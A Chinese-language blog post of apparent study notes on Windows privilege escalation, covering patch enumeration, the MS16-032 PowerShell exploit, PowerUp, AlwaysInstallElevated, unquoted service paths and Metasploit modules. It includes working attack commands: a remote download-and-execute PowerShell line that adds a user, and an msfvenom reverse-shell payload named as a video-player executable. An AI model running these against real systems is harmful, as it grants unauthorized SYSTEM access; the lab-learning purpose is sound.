0%

权限提升之溢出和系统配置错误

在Windows中其实可以分为四种权限system还不是最高权限。分别是User、Administrator、System、TrustedInstaller。前面3种比较常见,trustedInstaller在常规操作中经常不会涉及(我还没用过这个权限)

  • User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
  • Administrator:管理员权限。可以利用Windows 的机制将自己提升为Svstem权限,以便操作SAM文件等。
  • System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
  • TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。

    0x01 横向提权和纵向提权

     常用的提权方法有系统内核溢出提权、数据库提权、错误的系统配置提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权。
  1. 横向提权: 就是获取一个同级别角色的权限。
  2. 纵向提权:从低权限角色获取到高权限角色的权限。(常规说的提权)

0x02 利用系统内核溢出漏洞提权分析

 系统内核溢出漏洞是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。利用该漏洞的关键是目标系统没有及时安装补丁。

1、通过手动执行命令发现缺失补丁

基础命令:

1
2
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

根据上面命令我们可以获得补丁的安装情况。我们可以根据寻找提权的exp,将已安装的补丁编号和exp编号进行对比,最后使用没有编号的exp进行提权。
对系统补丁包进行特定的查找:

1
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" /C:"KB3143141"

可以根据【参考链接】寻找漏洞编号适应系统以及对于补丁名,exp等。
 如果目标机器存在MS16-032(KB3139914)漏洞,可以通过metasploit或者powershell下的Invoke-MS16-032.ps1脚本进行提权,通过ps脚本可以执行任意程序,且可以带参数执行,无弹窗。

利用 powershell脚本

【脚本链接】 也可以在前面给的参考链接中找到对应的powershell exp
我们可以先把脚本下载下来,或者复制保存下来,亦或者直接使用远程下载的方式

1
PS C:\Users\win7> powershell.exe -exec bypass -com "& {import-module  C:\Users\win7\desktop\ms16-032.ps1;Invoko-ms16-032 -application cmd.exe -commandline'/c net user 1 1 /add'}"

1
2
powershell  -exec bypass -c "IEX (NEW-Object Net.WebClient).DownloadString('http://1.1.1.6/a.txt');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 test /add'"    
#远程下载,提权,添加用户

2、通过metasploit发现缺失补丁

  1. 首先使用如下命令进行木马生成
    1
    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.152.152 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /root/桌面/西瓜影音1.exe
  2. kali监听创建一个session连接
    1
    使用 multi/handler模块
  3. 使用 后渗透模块 windows/gather/enum_patches 进行配置然后run即可。
  4. 另外multi/recon/local_exploit_suggester模块可以扫描可用的漏洞exp(需要设置一个session)

3、Windows exploit suggester

suggester:提出建议的人
该工具可以将系统中已安装的补丁程序和微软的漏洞数据进行比较,并识别可以导致权限提升的漏洞,而它只需要知道目标系统的systeminfo信息即可。

  1. 目标系统执行 systeminfo 并把文件内容复制下来放到kali里。
  2. kali上执行如下命令进行漏洞数据库更新
    1
    ./windows-exploit-suggester.py --update
  3. 接着我们需要安装打开excel文件的模块
    1
    pip install xlrd==1.2.0
  4. 最后使用如下命令进行扫描:
    1
    ./windows-exploit-suggester.py  -d 2021-04-01-mssb.xls  -i systeminfo.txt

    我们可以清晰的看到主机存在哪些漏洞。

4、利用powershell的sherlock脚本查找提权漏洞

可以利用sherlock脚本快速查找到可能用于本地权限提升的漏洞。

1
PS C:\Users\win7> powershell.exe   -exec bypass -c "& { Import-Module  C:\Users\win7\Desktop\Sherlock.ps1;find-allvulns}"

0x03 Windows 系统配置错误利用

 在windows中攻击者通常会尝试使用系统内核溢出漏洞来提权,但是如果碰到无法使用系统内核溢出漏洞提权的情况下,就会利用系统中的配置错误来提权。
 windows中的常见错误配置有,管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高。

1、系统服务权限配置错误

windows 系统服务文件在操作系统启动时会被加载和执行,并在后台调用可执行文件。如果我们有一个低权限用户对对此类系统服务调用的可执行文件有写权限,就可以将该文件替换为任意文件并随着系统服务的启动获得系统权限。windows服务是system权限运行的,正是我们想要获得的权限。
系统服务权限配置错误(可写目录漏洞)有以下两种情况:

  1. 服务未运行,攻击者会使用任意服务替换原来的服务,然后重启服务。
  2. 服务正在运行且无法被中止(绝大多数情况),我们可以利用dll劫持技术并尝试重启服务来提权。
(1) PowerUp 下的实战利用

【PowerUp】 提供了一些本地提权方法,可以通过很多实用的脚本来寻找目标机器windows服务漏洞。

1
PS C:\Users\win7> powershell.exe -exec bypass -c "& { Import-Module  C:\Users\win7\Desktop\powerUp.ps1;Invoke-allchecks}"


可以看出PowerUp 列出了可能存在问题的所有服务,并在 AbuseFunction 部分直接给出了利用方式。我们可以利用如下方式来利用提权:(未成功)

(2) Metasploit 下的实战利用

 在Metasploit中对应的利用模块是 service_permissions。选择AGGRESSIVE选项,可以利用目标机器上每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作。
 service_premissions 模块使用两种方法来获取system权限:如果meterpreter以管理员权限运行,该模块会尝试创建并运行一个新的服务。如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹权限有问题,并允许其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行的程序,其文件名和路径都是随机的。

(还是未成功,不知道是不是我的机器原因)
好像是应为我的win7是家庭版的(难受了)

2、注册表键 AlwaysInstallElevated

 注册表键 AlwaysInstallElevated 是一个策略的设置项。Windows 允许低权限用户以System权限允许安装文件。如果启用此策略设置项,那么任何权限的用户都能以system权限来安装恶意MSI文件。
PathsAlwaysInstallElevated漏洞产生的原因
 该漏洞产生的原因是用户开启了Windows Installer特权安装功能
 在“允许”设置柜中输入gpedit.msc,打开组策略编辑器。

  • 组装略——计算机配置——管理模板——Windows组件——Windows Insaller——永远以高特权进行安装:选择启用。
  • 组策略——用户配置-——管理模板——Windows组件——Windows Intaller——永远以高特权进行安装:选择启用。

设置完毕后会在注册表的以下两个位置自动创建键值‘1’

  • HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated

Windows Installer的相关知识点
  Installer是Windows 操作系统的组件之一, 专门用来管理和配置软件服务。Windows Installer 除了是一个安装程序,还用于管理软件的安装管理软件组件的添加和删除,监视文件的还原、通过回滚进行灾难恢复等。
 Windowrs Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分。Windows Installer通过Msiexec.exe安装MSI文件包含的程序。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或者安装一些软件的时候使用,占用内存较多。简单来说,双击MSI文件就会运行Msiexec.exe。

PowerUp下的实战
 使用PowerUp的Get-RsigtyswiylstnlElvatee模块来检查注册表键是否被设置。如果AlwaysInstallElevated注册表键已经被设置,就意味着MSI文件是以System 权限运行的。

1
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/Users/win7/desktop/PowerUp.ps1');Get-RegistryAlwaysInstallElevated

但是我得到的值是false,奇怪的是win7家庭版还没有gpedit.msc 搜组策略也搜不到。xp有没有powershell,win10关了防病毒重启一直没开启来,那就想不试了。

利用
 假设返回的是true吧

1
2
3
4
5
PS C:\> Write-UserAddMSI   #管理员权限运行
PS C:\> msiexec /q /i UserAdd.msi #普通用户权限运行
/quiet 在安装过程中禁止向用户发送消息
/qn 不使用GUI
/i 安装程序

也可以利用Msf的use exploit/windows/local/always_install_elevated完成上述操作

只要禁用注册表键 AlwaysInstallElevated,就可以阻止攻击者通过MSI文件进行提取。

3、可信任服务路径漏洞

 可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows 文件路径解析的特性并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。
 如果一个服务 的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能:

  1. 如果路径与服务有关,就任意创建一个服务或者编译Sericce模板。
  2. 如果路径与可执行文件有关,就任意创建个可执行文件。
(1) 漏洞产生的原因

 因为windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径”C:\Program Files\ Some Folder\Service.exe”,对于该路径中的每一个空格,Windows 都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。
在本例中,Windows 会依次尝试确

  • C:\Program.exe
  • C:\Program Files\ Some.exe
  • C:\Program Files\ Some Folder\Service.exe

 因此,如果一个被“适当”命名的可执行程序被上传到可受影响的目录中,服务一旦重启,该程序就会以Syten权限运行(在大多数情况下)

(2) 利用

 首先检测目标主机是否存在该漏洞。使用wmic命令列出所有没被双引号引起来的服务的路径

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

接下来,检测是否有对目标文件夹的写文件权限。这里我们使用windows的内置工具 icacls ,检测对应的目录权限如:

1
2
icacls C:\Program Files
icacls C:\Program Files\ Some Folder

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13

C:\Users\win7>icacls "C:\Program Files"
C:\Program Files NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)

已成功处理 1 个文件; 处理 0 个文件时失败

其中:

1
2
3
4
(M):修改。
(F): 完全控制。
(CI): 从属容器将继承访问控制项。
(OI): 从属文件将继承访问控制项。

我们可以使用如下命令来重启服务

1
2
sc stop service_name
sc start service_name

也可以使用msf中的exploit/windows/local/trusted_service_path模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后将受影响的服务重启
命令执行后,反弹一个新的meterpreter,但是反弹的会很快终端,需迁移进程
在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中,可以使用“set AutoRunScript migrate -f”命令自动迁移进程

4、自动安装配置文件

网络管理员在内网中配置同一个环境时,通常会采用脚本化批量部署。在这个过程中,会使用配置文件。这些文件可能包含本地管理员账户密码信息。这些文件列举如下:

  • C:\sysprep.inf
  • C:\sysprep\sysprep.xml
  • 等等看书【187】页

也可以使用

1
dir /b /s c:\Unattend.xml

Metasploit集成了该漏洞的利用模块 post/windows/gather/enum_unattend

5、计划任务

查看计算机计划任务

1
schtasks /query /fo LIST /v

【AccsChk】是Syslnteraks 套件中的一个工具,由Mnk Rusnoih编写用于在Wndows中进行一些系统或程序的高级查询、管理和故障排除工作,基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而AcsCce是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。

1
accesschk.exe -dqv "C:\Microsoft" -accepteula

下面介绍几个常用的AccessChk命令。

1
2
3
4
5
6
7
8
9
10
第一次运行Sysntemals工具包里的工具时,会弹出一个许可协议对话框。在这里,可以使用参数/accepteula自动接受许可协议,命令如下。
accesschk.exe /accepteula

列出某个驱动器下所有权限配置有缺陷的文件夹,命令如下。
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqg"AuthenticatedUsers"c:\

列出某个驱动器下所有权限配置有缺陷的文件,命令如下。
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*

6、Empire 内置模块

Empire内置了PowerUp的部分模块。输入usemodule privesc/powerup 命令然后按tab键可以查看powerUp的模块列表。

1
2
3
4
usemodule privesc/powerup Tab    #查看模块列表
### 执行allchecks模块
usemodule privesc/powerup/allchecks
execute

AllChecks模块的应用对象如下:

  • 没有被引号引起来的服务的路径。
  • ACL配置错误的服务(攻击者通常通过“service_*”利用它)。
  • 服务的可执行文件的权限设置不当(攻击者通常通过“service_exe_*”利用它)。
  • Unattend.xml 文件。
  • 注册表键AlwaysInstallElevated。
  • 如果有Autologon 凭证,都会留在注册表中。
  • 加密的web.config字符串和应用程序池的密码。
  • %PATH%.DLL的劫持机会(攻击者通常通过 write_dllhijacker利用它).

-------------本文结束感谢您的阅读-------------